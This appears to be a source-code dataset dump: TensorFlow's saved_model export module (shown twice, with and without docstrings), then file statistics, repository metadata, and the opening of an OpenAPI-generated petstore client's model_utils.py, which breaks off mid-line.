meta_graph_def.meta_info_def.tags.append(tag_constants.SERVING) meta_graph_def.meta_info_def.tensorflow_version = versions.__version__ meta_graph_def.meta_info_def.tensorflow_git_version = ( versions.__git_version__) # We currently always strip default attributes. meta_graph_def.meta_info_def.stripped_default_attrs = True meta_graph_def.meta_info_def.stripped_op_list.MergeFrom( meta_graph.stripped_op_list_for_graph(meta_graph_def.graph_def)) meta_graph_def.asset_file_def.extend(asset_info.asset_defs) for signature_key, signature in signatures.items(): meta_graph_def.signature_def[signature_key].CopyFrom(signature) meta_graph.strip_graph_default_valued_attrs(meta_graph_def) return asset_info, exported_graph def _serialize_object_graph(saveable_view, asset_file_def_index): """Save a SavedObjectGraph proto for `root`.""" # SavedObjectGraph is similar to the TrackableObjectGraph proto in the # checkpoint. It will eventually go into the SavedModel. proto = saved_object_graph_pb2.SavedObjectGraph() saveable_view.fill_object_graph_proto(proto) coder = nested_structure_coder.StructureCoder() for concrete_function in saveable_view.concrete_functions: serialized = function_serialization.serialize_concrete_function( concrete_function, saveable_view.captured_tensor_node_ids, coder) if serialized is not None: proto.concrete_functions[concrete_function.name].CopyFrom( serialized) for obj, obj_proto in zip(saveable_view.nodes, proto.nodes): _write_object_proto(obj, obj_proto, asset_file_def_index) return proto def _write_object_proto(obj, proto, asset_file_def_index): """Saves an object into SavedObject proto.""" if isinstance(obj, tracking.TrackableAsset): proto.asset.SetInParent() proto.asset.asset_file_def_index = asset_file_def_index[obj] elif resource_variable_ops.is_resource_variable(obj): proto.variable.SetInParent() if not obj.name.endswith(":0"): raise ValueError("Cowardly refusing to save variable %s because of" " unexpected suffix which won't be restored.") proto.variable.name = meta_graph._op_name(obj.name) # pylint: disable=protected-access proto.variable.trainable = obj.trainable proto.variable.dtype = obj.dtype.as_datatype_enum proto.variable.synchronization = obj.synchronization.value proto.variable.aggregation = obj.aggregation.value proto.variable.shape.CopyFrom(obj.shape.as_proto()) elif isinstance(obj, def_function.Function): proto.function.CopyFrom( function_serialization.serialize_function(obj)) elif isinstance(obj, defun.ConcreteFunction): proto.bare_concrete_function.CopyFrom( function_serialization.serialize_bare_concrete_function(obj)) elif isinstance(obj, _CapturedConstant): proto.constant.operation = obj.graph_tensor.op.name elif isinstance(obj, tracking.CapturableResource): proto.resource.device = obj._resource_device # pylint: disable=protected-access else: registered_type_proto = revived_types.serialize(obj) if registered_type_proto is None: # Fallback for types with no matching registration registered_type_proto = saved_object_graph_pb2.SavedUserObject( identifier="_generic_user_object", version=versions_pb2.VersionDef( producer=1, min_consumer=1, bad_consumers=[])) proto.user_object.CopyFrom(registered_type_proto) @tf_export("saved_model.save", v1=["saved_model.save", "saved_model.experimental.save"]) def save(obj, export_dir, signatures=None): # pylint: disable=line-too-long """Exports the Trackable object `obj` to [SavedModel format](https://github.com/tensorflow/tensorflow/blob/master/tensorflow/python/saved_model/README.md). Example usage: ```python class Adder(tf.Module): @tf.function(input_signature=[tf.TensorSpec(shape=None, dtype=tf.float32)]) def add(self, x): return x + x + 1. to_export = Adder() tf.saved_model.save(to_export, '/tmp/adder') ``` The resulting SavedModel is then servable with an input named "x", its value having any shape and dtype float32. The optional `signatures` argument controls which methods in `obj` will be available to programs which consume `SavedModel`s, for example serving APIs. Python functions may be decorated with `@tf.function(input_signature=...)` and passed as signatures directly, or lazily with a call to `get_concrete_function` on the method decorated with `@tf.function`. If the `signatures` argument is omitted, `obj` will be searched for `@tf.function`-decorated methods. If exactly one `@tf.function` is found, that method will be used as the default signature for the SavedModel. This behavior is expected to change in the future, when a corresponding `tf.saved_model.load` symbol is added. At that point signatures will be completely optional, and any `@tf.function` attached to `obj` or its dependencies will be exported for use with `load`. When invoking a signature in an exported SavedModel, `Tensor` arguments are identified by name. These names will come from the Python function's argument names by default. They may be overridden by specifying a `name=...` argument in the corresponding `tf.TensorSpec` object. Explicit naming is required if multiple `Tensor`s are passed through a single argument to the Python function. The outputs of functions used as `signatures` must either be flat lists, in which case outputs will be numbered, or a dictionary mapping string keys to `Tensor`, in which case the keys will be used to name outputs. Signatures are available in objects returned by `tf.saved_model.load` as a `.signatures` attribute. This is a reserved attribute: `tf.saved_model.save` on an object with a custom `.signatures` attribute will raise an exception. Since `tf.keras.Model` objects are also Trackable, this function can be used to export Keras models. For example, exporting with a signature specified: ```python class Model(tf.keras.Model): @tf.function(input_signature=[tf.TensorSpec(shape=[None], dtype=tf.string)]) def serve(self, serialized): ... m = Model() tf.saved_model.save(m, '/tmp/saved_model/') ``` Exporting from a function without a fixed signature: ```python class Model(tf.keras.Model): @tf.function def call(self, x): ... m = Model() tf.saved_model.save( m, '/tmp/saved_model/', signatures=m.call.get_concrete_function( tf.TensorSpec(shape=[None, 3], dtype=tf.float32, name="inp"))) ``` `tf.keras.Model` instances constructed from inputs and outputs already have a signature and so do not require a `@tf.function` decorator or a `signatures` argument. If neither are specified, the model's forward pass is exported. ```python x = input_layer.Input((4,), name="x") y = core.Dense(5, name="out")(x) model = training.Model(x, y) tf.saved_model.save(model, '/tmp/saved_model/') # The exported SavedModel takes "x" with shape [None, 4] and returns "out" # with shape [None, 5] ``` Variables must be tracked by assigning them to an attribute of a tracked object or to an attribute of `obj` directly. TensorFlow objects (e.g. layers from `tf.keras.layers`, optimizers from `tf.train`) track their variables automatically. This is the same tracking scheme that `tf.train.Checkpoint` uses, and an exported `Checkpoint` object may be restored as a training checkpoint by pointing `tf.train.Checkpoint.restore` to the SavedModel's "variables/" subdirectory. Currently variables are the only stateful objects supported by `tf.saved_model.save`, but others (e.g. tables) will be supported in the future. `tf.function` does not hard-code device annotations from outside the function body, instead using the calling context's device. This means for example that exporting a model which runs on a GPU and serving it on a CPU will generally work, with some exceptions. `tf.device` annotations inside the body of the function will be hard-coded in the exported model; this type of annotation is discouraged. Device-specific operations, e.g. with "cuDNN" in the name or with device-specific layouts, may cause issues. Currently a `DistributionStrategy` is another exception: active distribution strategies will cause device placements to be hard-coded in a function. Exporting a single-device computation and importing under a `DistributionStrategy` is not currently supported, but may be in the future. SavedModels exported with `tf.saved_model.save` [strip default-valued attributes](https://github.com/tensorflow/tensorflow/blob/master/tensorflow/python/saved_model/README.md#stripping-default-valued-attributes) automatically, which removes one source of incompatibilities when the consumer of a SavedModel is running an older TensorFlow version than the producer. There are however other sources of incompatibilities which are not handled automatically, such as when the exported model contains operations which the consumer does not have definitions for. Args: obj: A trackable object to export. export_dir: A directory in which to write the SavedModel. signatures: Optional, either a `tf.function` with an input signature specified or the result of `f.get_concrete_function` on a `@tf.function`-decorated function `f`, in which case `f` will be used to generate a signature for the SavedModel under the default serving signature key. `signatures` may also be a dictionary, in which case it maps from signature keys to either `tf.function` instances with input signatures or concrete functions. The keys of such a dictionary may be arbitrary strings, but will typically be from the `tf.saved_model.signature_constants` module. Raises: ValueError: If `obj` is not trackable. @compatibility(eager) Not well supported when graph building. From TensorFlow 1.x, `tf.compat.v1.enable_eager_execution()` should run first. Calling tf.saved_model.save in a loop when graph building from TensorFlow 1.x will add new save operations to the default graph each iteration. May not be called from within a function body. @end_compatibility """ if ops.inside_function(): raise AssertionError( "tf.saved_model.save is not supported inside a traced " "@tf.function. Move the call to the outer eagerly-executed " "context.") # pylint: enable=line-too-long if not isinstance(obj, base.Trackable): raise ValueError( "Expected a Trackable object for export, got {}.".format(obj)) checkpoint_graph_view = _AugmentedGraphView(obj) if signatures is None: signatures = signature_serialization.find_function_to_export( checkpoint_graph_view) signatures = signature_serialization.canonicalize_signatures(signatures) signature_serialization.validate_saveable_view(checkpoint_graph_view) signature_map = signature_serialization.create_signature_map(signatures) checkpoint_graph_view.add_object( parent_node=checkpoint_graph_view.root, name_in_parent=signature_serialization.SIGNATURE_ATTRIBUTE_NAME, subgraph_root=signature_map) # Use _SaveableView to provide a frozen listing of properties and functions. # Note we run this twice since, while constructing the view the first time # there can be side effects of creating variables. _ = _SaveableView(checkpoint_graph_view) saveable_view = _SaveableView(checkpoint_graph_view) # TODO(allenl): Factor out some subset of SavedModelBuilder which is 2.x # compatible (no sessions) and share it with this export API rather than # making a SavedModel proto and writing it directly. saved_model = saved_model_pb2.SavedModel() meta_graph_def = saved_model.meta_graphs.add() object_saver = util.TrackableSaver(checkpoint_graph_view) asset_info, exported_graph = _fill_meta_graph_def( meta_graph_def, saveable_view, signatures) saved_model.saved_model_schema_version = ( constants.SAVED_MODEL_SCHEMA_VERSION) # So far we've just been generating protocol buffers with no I/O. Now we write # the checkpoint, copy assets into the assets directory, and write out the # SavedModel proto itself. utils_impl.get_or_create_variables_dir(export_dir) object_saver.save(utils_impl.get_variables_path(export_dir)) builder_impl.copy_assets_to_destination_dir(asset_info.asset_filename_map, export_dir) path = os.path.join( compat.as_bytes(export_dir), compat.as_bytes(constants.SAVED_MODEL_FILENAME_PB)) object_graph_proto = _serialize_object_graph( saveable_view, asset_info.asset_index) meta_graph_def.object_graph_def.CopyFrom(object_graph_proto) file_io.write_string_to_file(path, saved_model.SerializeToString()) # Clean reference cycles so repeated export()s don't make work for the garbage # collector. Before this point we need to keep references to captured # constants in the saved graph. ops.dismantle_graph(exported_graph)

46.092548

157

0.755535

from __future__ import absolute_import from __future__ import division from __future__ import print_function import collections import os from tensorflow.core.framework import versions_pb2 from tensorflow.core.protobuf import meta_graph_pb2 from tensorflow.core.protobuf import saved_model_pb2 from tensorflow.core.protobuf import saved_object_graph_pb2 from tensorflow.python.eager import context from tensorflow.python.eager import def_function from tensorflow.python.eager import function as defun from tensorflow.python.framework import constant_op from tensorflow.python.framework import dtypes from tensorflow.python.framework import meta_graph from tensorflow.python.framework import ops from tensorflow.python.framework import tensor_util from tensorflow.python.framework import versions from tensorflow.python.lib.io import file_io from tensorflow.python.ops import array_ops from tensorflow.python.ops import control_flow_ops from tensorflow.python.ops import resource_variable_ops from tensorflow.python.saved_model import builder_impl from tensorflow.python.saved_model import constants from tensorflow.python.saved_model import function_serialization from tensorflow.python.saved_model import nested_structure_coder from tensorflow.python.saved_model import revived_types from tensorflow.python.saved_model import signature_constants from tensorflow.python.saved_model import signature_def_utils from tensorflow.python.saved_model import signature_serialization from tensorflow.python.saved_model import tag_constants from tensorflow.python.saved_model import utils_impl from tensorflow.python.training.saving import functional_saver from tensorflow.python.training.tracking import base from tensorflow.python.training.tracking import graph_view from tensorflow.python.training.tracking import object_identity from tensorflow.python.training.tracking import tracking from tensorflow.python.training.tracking import util from tensorflow.python.util import compat from tensorflow.python.util.tf_export import tf_export _UNCOPIABLE_DTYPES = frozenset((dtypes.resource, dtypes.variant)) _CapturedConstant = collections.namedtuple( "_CapturedConstant", ["eager_tensor", "graph_tensor"]) class _AugmentedGraphView(graph_view.ObjectGraphView): def __init__(self, root): if (not context.executing_eagerly() and not ops.inside_function()): saveables_cache = object_identity.ObjectIdentityWeakKeyDictionary() else: saveables_cache = None super(_AugmentedGraphView, self).__init__(root, saveables_cache) self._extra_dependencies = object_identity.ObjectIdentityDictionary() self._functions = object_identity.ObjectIdentityDictionary() def add_object(self, parent_node, name_in_parent, subgraph_root): self._extra_dependencies.setdefault( parent_node, {})[name_in_parent] = subgraph_root def list_dependencies(self, obj): extra_dependencies = self._extra_dependencies.get(obj, {}) used_names = set() for name, dep in super(_AugmentedGraphView, self).list_dependencies(obj): used_names.add(name) if name in extra_dependencies: yield base.TrackableReference(name, extra_dependencies[name]) else: yield base.TrackableReference(name, dep) for name, dep in extra_dependencies.items(): if name in used_names: continue yield base.TrackableReference(name, dep) def list_functions(self, obj): obj_functions = self._functions.get(obj, None) if obj_functions is None: obj_functions = obj._list_functions_for_serialization() self._functions[obj] = obj_functions return obj_functions class _SaveableView(object): def __init__(self, checkpoint_view): self.checkpoint_view = checkpoint_view trackable_objects, node_ids, slot_variables = ( self.checkpoint_view.objects_ids_and_slot_variables()) self.nodes = trackable_objects self.node_ids = node_ids self.captured_tensor_node_ids = object_identity.ObjectIdentityDictionary() self.slot_variables = slot_variables self.concrete_functions = [] nodes_without_functions = list(self.nodes) seen_function_names = set() for node in nodes_without_functions: for function in checkpoint_view.list_functions(node).values(): if function not in self.node_ids: self.node_ids[function] = len(self.nodes) self.nodes.append(function) if isinstance(function, def_function.Function): concrete_functions = ( function._list_all_concrete_functions_for_serialization()) else: concrete_functions = [function] for concrete_function in concrete_functions: if concrete_function.name not in seen_function_names: seen_function_names.add(concrete_function.name) self.concrete_functions.append(concrete_function) @property def root(self): return self.nodes[0] def fill_object_graph_proto(self, proto): for node_id, node in enumerate(self.nodes): assert self.node_ids[node] == node_id object_proto = proto.nodes.add() object_proto.slot_variables.extend(self.slot_variables.get(node, ())) if isinstance(node, (def_function.Function, defun.ConcreteFunction, _CapturedConstant)): continue for child in self.checkpoint_view.list_dependencies(node): child_proto = object_proto.children.add() child_proto.node_id = self.node_ids[child.ref] child_proto.local_name = child.name for local_name, ref_function in ( self.checkpoint_view.list_functions(node).items()): child_proto = object_proto.children.add() child_proto.node_id = self.node_ids[ref_function] child_proto.local_name = local_name def map_resources(self): assert not context.executing_eagerly() object_map = object_identity.ObjectIdentityDictionary() resource_map = {} asset_info = _AssetInfo( asset_defs=[], asset_initializers_by_resource={}, asset_filename_map={}, asset_index={}) for node_id, obj in enumerate(self.nodes): if isinstance(obj, tracking.CapturableResource): with ops.device(obj._resource_device): new_resource = obj._create_resource() resource_map[obj.resource_handle] = new_resource self.captured_tensor_node_ids[obj.resource_handle] = node_id elif resource_variable_ops.is_resource_variable(obj): new_variable = resource_variable_ops.copy_to_graph_uninitialized(obj) object_map[obj] = new_variable resource_map[obj.handle] = new_variable.handle self.captured_tensor_node_ids[obj.handle] = node_id elif isinstance(obj, tracking.TrackableAsset): _process_asset(obj, asset_info, resource_map) self.captured_tensor_node_ids[obj.asset_path] = node_id for concrete_function in self.concrete_functions: for capture in concrete_function.captured_inputs: if (tensor_util.is_tensor(capture) and capture.dtype not in _UNCOPIABLE_DTYPES and capture not in self.captured_tensor_node_ids): copied_tensor = constant_op.constant( tensor_util.constant_value(capture)) node_id = len(self.nodes) node = _CapturedConstant( eager_tensor=capture, graph_tensor=copied_tensor) self.nodes.append(node) self.node_ids[capture] = node_id self.node_ids[node] = node_id self.captured_tensor_node_ids[capture] = node_id resource_map[capture] = copied_tensor return object_map, resource_map, asset_info def _tensor_dict_to_tensorinfo(tensor_dict): return {key: utils_impl.build_tensor_info_internal(value) for key, value in tensor_dict.items()} def _map_captures_to_created_tensors( original_captures, resource_map): export_captures = [] for exterior, interior in original_captures.items(): mapped_resource = resource_map.get(exterior, None) if mapped_resource is None: raise AssertionError( ("Tried to export a function which references untracked object {}." "TensorFlow objects (e.g. tf.Variable) captured by functions must " "be tracked by assigning them to an attribute of a tracked object " "or assigned to an attribute of the main object directly.") .format(interior)) export_captures.append(mapped_resource) return export_captures def _map_function_arguments_to_created_inputs( function_arguments, signature_key, function_name): exterior_argument_placeholders = {} mapped_inputs = [] for placeholder in function_arguments: # find the input there then we now know we have an argument. user_input_name = compat.as_str_any( placeholder.op.get_attr("_user_specified_name")) # If the internal placeholders for a function have names which were # uniquified by TensorFlow, then a single user-specified argument name # must refer to multiple Tensors. The resulting signatures would be # confusing to call. Instead, we throw an exception telling the user to # specify explicit names. if user_input_name != placeholder.op.name: # This should be unreachable, since concrete functions may not be # generated with non-unique argument names. raise ValueError( ("Got non-flat/non-unique argument names for SavedModel " "signature '{}': more than one argument to '{}' was named '{}'. " "Signatures have one Tensor per named input, so to have " "predictable names Python functions used to generate these " "signatures should avoid *args and Tensors in nested " "structures unless unique names are specified for each. Use " "tf.TensorSpec(..., name=...) to provide a name for a Tensor " "input.") .format(signature_key, compat.as_str_any(function_name), user_input_name)) arg_placeholder = array_ops.placeholder( shape=placeholder.shape, dtype=placeholder.dtype, name="{}_{}".format(signature_key, user_input_name)) exterior_argument_placeholders[user_input_name] = arg_placeholder mapped_inputs.append(arg_placeholder) return mapped_inputs, exterior_argument_placeholders def _call_function_with_mapped_captures(function, args, resource_map): export_captures = _map_captures_to_created_tensors( function.graph.captures, resource_map) mapped_inputs = args + export_captures # Calls the function quite directly, since we have new captured resource # tensors we need to feed in which weren't part of the original function outputs = function._build_call_outputs( function._inference_function.call(context.context(), mapped_inputs)) return outputs def _generate_signatures(signature_functions, resource_map): signatures = {} for signature_key, function in sorted(signature_functions.items()): if function.graph.captures: argument_inputs = function.graph.inputs[:-len(function.graph.captures)] else: argument_inputs = function.graph.inputs mapped_inputs, exterior_argument_placeholders = ( _map_function_arguments_to_created_inputs( argument_inputs, signature_key, function.name)) outputs = _call_function_with_mapped_captures( function, mapped_inputs, resource_map) signatures[signature_key] = signature_def_utils.build_signature_def( _tensor_dict_to_tensorinfo(exterior_argument_placeholders), _tensor_dict_to_tensorinfo(outputs), method_name=signature_constants.PREDICT_METHOD_NAME) return signatures def _trace_resource_initializers(accessible_objects): resource_initializers = [] def _wrap_initializer(obj): obj._initialize() return constant_op.constant(1.) def _wrap_obj_initializer(obj): return lambda: _wrap_initializer(obj) for obj in accessible_objects: if isinstance(obj, tracking.CapturableResource): resource_initializers.append(def_function.function( _wrap_obj_initializer(obj), input_signature=[]).get_concrete_function()) return resource_initializers _AssetInfo = collections.namedtuple( "_AssetInfo", [ "asset_defs", "asset_initializers_by_resource", "asset_filename_map", "asset_index"]) def _process_asset(trackable_asset, asset_info, resource_map): original_path_tensor = trackable_asset.asset_path original_path = tensor_util.constant_value(original_path_tensor) try: original_path = str(original_path.astype(str)) except AttributeError: pass path = builder_impl.get_asset_filename_to_add( asset_filepath=original_path, asset_filename_map=asset_info.asset_filename_map) asset_path_initializer = array_ops.placeholder( shape=original_path_tensor.shape, dtype=dtypes.string, name="asset_path_initializer") asset_variable = resource_variable_ops.ResourceVariable( asset_path_initializer) asset_info.asset_filename_map[path] = original_path asset_def = meta_graph_pb2.AssetFileDef() asset_def.filename = path asset_def.tensor_info.name = asset_path_initializer.name asset_info.asset_defs.append(asset_def) asset_info.asset_initializers_by_resource[original_path_tensor] = ( asset_variable.initializer) asset_info.asset_index[trackable_asset] = len(asset_info.asset_defs) - 1 resource_map[original_path_tensor] = asset_variable def _fill_meta_graph_def(meta_graph_def, saveable_view, signature_functions): accessible_objects = saveable_view.nodes resource_initializer_functions = _trace_resource_initializers( accessible_objects) exported_graph = ops.Graph() resource_initializer_ops = [] with exported_graph.as_default(): object_map, resource_map, asset_info = saveable_view.map_resources() for resource_initializer_function in resource_initializer_functions: asset_dependencies = [] for capture in resource_initializer_function.graph.external_captures: asset_initializer = asset_info.asset_initializers_by_resource.get( capture, None) if asset_initializer is not None: asset_dependencies.append(asset_initializer) with ops.control_dependencies(asset_dependencies): resource_initializer_ops.append( _call_function_with_mapped_captures( resource_initializer_function, [], resource_map)) resource_initializer_ops.extend( asset_info.asset_initializers_by_resource.values()) with ops.control_dependencies(resource_initializer_ops): init_op = control_flow_ops.no_op() meta_graph_def.collection_def[constants.MAIN_OP_KEY].node_list.value.append( init_op.name) meta_graph_def.signature_def[constants.INIT_OP_SIGNATURE_KEY].CopyFrom( signature_def_utils.op_signature_def( init_op, constants.INIT_OP_SIGNATURE_KEY)) saver = functional_saver.MultiDeviceSaver( saveable_view.checkpoint_view.frozen_saveable_objects( object_map=object_map, to_graph=exported_graph)) with exported_graph.as_default(): signatures = _generate_signatures(signature_functions, resource_map) for concrete_function in saveable_view.concrete_functions: concrete_function.add_to_graph() saver_def = saver.to_proto() meta_graph_def.saver_def.CopyFrom(saver_def) graph_def = exported_graph.as_graph_def(add_shapes=True) meta_graph_def.graph_def.CopyFrom(graph_def) meta_graph_def.meta_info_def.tags.append(tag_constants.SERVING) meta_graph_def.meta_info_def.tensorflow_version = versions.__version__ meta_graph_def.meta_info_def.tensorflow_git_version = ( versions.__git_version__) meta_graph_def.meta_info_def.stripped_default_attrs = True meta_graph_def.meta_info_def.stripped_op_list.MergeFrom( meta_graph.stripped_op_list_for_graph(meta_graph_def.graph_def)) meta_graph_def.asset_file_def.extend(asset_info.asset_defs) for signature_key, signature in signatures.items(): meta_graph_def.signature_def[signature_key].CopyFrom(signature) meta_graph.strip_graph_default_valued_attrs(meta_graph_def) return asset_info, exported_graph def _serialize_object_graph(saveable_view, asset_file_def_index): proto = saved_object_graph_pb2.SavedObjectGraph() saveable_view.fill_object_graph_proto(proto) coder = nested_structure_coder.StructureCoder() for concrete_function in saveable_view.concrete_functions: serialized = function_serialization.serialize_concrete_function( concrete_function, saveable_view.captured_tensor_node_ids, coder) if serialized is not None: proto.concrete_functions[concrete_function.name].CopyFrom( serialized) for obj, obj_proto in zip(saveable_view.nodes, proto.nodes): _write_object_proto(obj, obj_proto, asset_file_def_index) return proto def _write_object_proto(obj, proto, asset_file_def_index): if isinstance(obj, tracking.TrackableAsset): proto.asset.SetInParent() proto.asset.asset_file_def_index = asset_file_def_index[obj] elif resource_variable_ops.is_resource_variable(obj): proto.variable.SetInParent() if not obj.name.endswith(":0"): raise ValueError("Cowardly refusing to save variable %s because of" " unexpected suffix which won't be restored.") proto.variable.name = meta_graph._op_name(obj.name) # pylint: disable=protected-access proto.variable.trainable = obj.trainable proto.variable.dtype = obj.dtype.as_datatype_enum proto.variable.synchronization = obj.synchronization.value proto.variable.aggregation = obj.aggregation.value proto.variable.shape.CopyFrom(obj.shape.as_proto()) elif isinstance(obj, def_function.Function): proto.function.CopyFrom( function_serialization.serialize_function(obj)) elif isinstance(obj, defun.ConcreteFunction): proto.bare_concrete_function.CopyFrom( function_serialization.serialize_bare_concrete_function(obj)) elif isinstance(obj, _CapturedConstant): proto.constant.operation = obj.graph_tensor.op.name elif isinstance(obj, tracking.CapturableResource): proto.resource.device = obj._resource_device # pylint: disable=protected-access else: registered_type_proto = revived_types.serialize(obj) if registered_type_proto is None: # Fallback for types with no matching registration registered_type_proto = saved_object_graph_pb2.SavedUserObject( identifier="_generic_user_object", version=versions_pb2.VersionDef( producer=1, min_consumer=1, bad_consumers=[])) proto.user_object.CopyFrom(registered_type_proto) @tf_export("saved_model.save", v1=["saved_model.save", "saved_model.experimental.save"]) def save(obj, export_dir, signatures=None): # pylint: disable=line-too-long if ops.inside_function(): raise AssertionError( "tf.saved_model.save is not supported inside a traced " "@tf.function. Move the call to the outer eagerly-executed " "context.") # pylint: enable=line-too-long if not isinstance(obj, base.Trackable): raise ValueError( "Expected a Trackable object for export, got {}.".format(obj)) checkpoint_graph_view = _AugmentedGraphView(obj) if signatures is None: signatures = signature_serialization.find_function_to_export( checkpoint_graph_view) signatures = signature_serialization.canonicalize_signatures(signatures) signature_serialization.validate_saveable_view(checkpoint_graph_view) signature_map = signature_serialization.create_signature_map(signatures) checkpoint_graph_view.add_object( parent_node=checkpoint_graph_view.root, name_in_parent=signature_serialization.SIGNATURE_ATTRIBUTE_NAME, subgraph_root=signature_map) # Use _SaveableView to provide a frozen listing of properties and functions. # Note we run this twice since, while constructing the view the first time # there can be side effects of creating variables. _ = _SaveableView(checkpoint_graph_view) saveable_view = _SaveableView(checkpoint_graph_view) # TODO(allenl): Factor out some subset of SavedModelBuilder which is 2.x # compatible (no sessions) and share it with this export API rather than # making a SavedModel proto and writing it directly. saved_model = saved_model_pb2.SavedModel() meta_graph_def = saved_model.meta_graphs.add() object_saver = util.TrackableSaver(checkpoint_graph_view) asset_info, exported_graph = _fill_meta_graph_def( meta_graph_def, saveable_view, signatures) saved_model.saved_model_schema_version = ( constants.SAVED_MODEL_SCHEMA_VERSION) # So far we've just been generating protocol buffers with no I/O. Now we write utils_impl.get_or_create_variables_dir(export_dir) object_saver.save(utils_impl.get_variables_path(export_dir)) builder_impl.copy_assets_to_destination_dir(asset_info.asset_filename_map, export_dir) path = os.path.join( compat.as_bytes(export_dir), compat.as_bytes(constants.SAVED_MODEL_FILENAME_PB)) object_graph_proto = _serialize_object_graph( saveable_view, asset_info.asset_index) meta_graph_def.object_graph_def.CopyFrom(object_graph_proto) file_io.write_string_to_file(path, saved_model.SerializeToString()) # collector. Before this point we need to keep references to captured # constants in the saved graph. ops.dismantle_graph(exported_graph)

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Python

samples/openapi3/client/petstore/python/petstore_api/model_utils.py

mabhijith95a10/openapi-generator

0f5e7d1e3cb9642bd46ec89ffe0bf66a922029f2

[ "Apache-2.0" ]

1

2021-04-16T03:59:56.000Z

samples/openapi3/client/petstore/python/petstore_api/model_utils.py

mabhijith95a10/openapi-generator

0f5e7d1e3cb9642bd46ec89ffe0bf66a922029f2

[ "Apache-2.0" ]

26

2021-03-19T20:50:29.000Z

2022-03-21T11:32:33.000Z

samples/openapi3/client/petstore/python/petstore_api/model_utils.py

mabhijith95a10/openapi-generator

0f5e7d1e3cb9642bd46ec89ffe0bf66a922029f2

[ "Apache-2.0" ]

2

2021-06-11T15:24:43.000Z

2021-06-13T12:20:31.000Z

""" OpenAPI Petstore This spec is mainly for testing Petstore server and contains fake endpoints, models. Please do not use this for any other purpose. Special characters: \" \\ # noqa: E501 The version of the OpenAPI document: 1.0.0 Generated by: https://openapi-generator.tech """ from datetime import date, datetime # noqa: F401 import inspect import io import os import pprint import re import tempfile from dateutil.parser import parse from petstore_api.exceptions import ( ApiKeyError, ApiAttributeError, ApiTypeError, ApiValueError, ) none_type = type(None) file_type = io.IOBase class cached_property(object): # this caches the result of the function call for fn with no inputs # use this as a decorator on fuction methods that you want converted # into cached properties result_key = '_results' def __init__(self, fn): self._fn = fn def __get__(self, instance, cls=None): if self.result_key in vars(self): return vars(self)[self.result_key] else: result = self._fn() setattr(self, self.result_key, result) return result PRIMITIVE_TYPES = (list, float, int, bool, datetime, date, str, file_type) def allows_single_value_input(cls): """ This function returns True if the input composed schema model or any descendant model allows a value only input This is true for cases where oneOf contains items like: oneOf: - float - NumberWithValidation - StringEnum - ArrayModel - null TODO: lru_cache this """ if ( issubclass(cls, ModelSimple) or cls in PRIMITIVE_TYPES ): return True elif issubclass(cls, ModelComposed): if not cls._composed_schemas['oneOf']: return False return any(allows_single_value_input(c) for c in cls._composed_schemas['oneOf']) return False def composed_model_input_classes(cls): """ This function returns a list of the possible models that can be accepted as inputs. TODO: lru_cache this """ if issubclass(cls, ModelSimple) or cls in PRIMITIVE_TYPES: return [cls] elif issubclass(cls, ModelNormal): if cls.discriminator is None: return [cls] else: return get_discriminated_classes(cls) elif issubclass(cls, ModelComposed): if not cls._composed_schemas['oneOf']: return [] if cls.discriminator is None: input_classes = [] for c in cls._composed_schemas['oneOf']: input_classes.extend(composed_model_input_classes(c)) return input_classes else: return get_discriminated_classes(cls) return [] class OpenApiModel(object): """The base class for all OpenAPIModels""" def set_attribute(self, name, value): # this is only used to set properties on self path_to_item = [] if self._path_to_item: path_to_item.extend(self._path_to_item) path_to_item.append(name) if name in self.openapi_types: required_types_mixed = self.openapi_types[name] elif self.additional_properties_type is None: raise ApiAttributeError( "{0} has no attribute '{1}'".format( type(self).__name__, name), path_to_item ) elif self.additional_properties_type is not None: required_types_mixed = self.additional_properties_type if get_simple_class(name) != str: error_msg = type_error_message( var_name=name, var_value=name, valid_classes=(str,), key_type=True ) raise ApiTypeError( error_msg, path_to_item=path_to_item, valid_classes=(str,), key_type=True ) if self._check_type: value = validate_and_convert_types( value, required_types_mixed, path_to_item, self._spec_property_naming, self._check_type, configuration=self._configuration) if (name,) in self.allowed_values: check_allowed_values( self.allowed_values, (name,), value ) if (name,) in self.validations: check_validations( self.validations, (name,), value, self._configuration ) self.__dict__['_data_store'][name] = value def __repr__(self): """For `print` and `pprint`""" return self.to_str() def __ne__(self, other): """Returns true if both objects are not equal""" return not self == other def __setattr__(self, attr, value): """set the value of an attribute using dot notation: `instance.attr = val`""" self[attr] = value def __getattr__(self, attr): """get the value of an attribute using dot notation: `instance.attr`""" return self.__getitem__(attr) def __new__(cls, *args, **kwargs): # this function uses the discriminator to # pick a new schema/class to instantiate because a discriminator # propertyName value was passed in if len(args) == 1: arg = args[0] if arg is None and is_type_nullable(cls): # The input data is the 'null' value and the type is nullable. return None if issubclass(cls, ModelComposed) and allows_single_value_input(cls): model_kwargs = {} oneof_instance = get_oneof_instance(cls, model_kwargs, kwargs, model_arg=arg) return oneof_instance visited_composed_classes = kwargs.get('_visited_composed_classes', ()) if ( cls.discriminator is None or cls in visited_composed_classes ): # Use case 1: this openapi schema (cls) does not have a discriminator # Use case 2: we have already visited this class before and are sure that we # want to instantiate it this time. We have visited this class deserializing # a payload with a discriminator. During that process we traveled through # this class but did not make an instance of it. Now we are making an # instance of a composed class which contains cls in it, so this time make an instance of cls. # # Here's an example of use case 2: If Animal has a discriminator # petType and we pass in "Dog", and the class Dog # allOf includes Animal, we move through Animal # once using the discriminator, and pick Dog. # Then in the composed schema dog Dog, we will make an instance of the # Animal class (because Dal has allOf: Animal) but this time we won't travel # through Animal's discriminator because we passed in # _visited_composed_classes = (Animal,) return super(OpenApiModel, cls).__new__(cls) # Get the name and value of the discriminator property. # The discriminator name is obtained from the discriminator meta-data # and the discriminator value is obtained from the input data. discr_propertyname_py = list(cls.discriminator.keys())[0] discr_propertyname_js = cls.attribute_map[discr_propertyname_py] if discr_propertyname_js in kwargs: discr_value = kwargs[discr_propertyname_js] elif discr_propertyname_py in kwargs: discr_value = kwargs[discr_propertyname_py] else: # The input data does not contain the discriminator property. path_to_item = kwargs.get('_path_to_item', ()) raise ApiValueError( "Cannot deserialize input data due to missing discriminator. " "The discriminator property '%s' is missing at path: %s" % (discr_propertyname_js, path_to_item) ) # Implementation note: the last argument to get_discriminator_class # is a list of visited classes. get_discriminator_class may recursively # call itself and update the list of visited classes, and the initial # value must be an empty list. Hence not using 'visited_composed_classes' new_cls = get_discriminator_class( cls, discr_propertyname_py, discr_value, []) if new_cls is None: path_to_item = kwargs.get('_path_to_item', ()) disc_prop_value = kwargs.get( discr_propertyname_js, kwargs.get(discr_propertyname_py)) raise ApiValueError( "Cannot deserialize 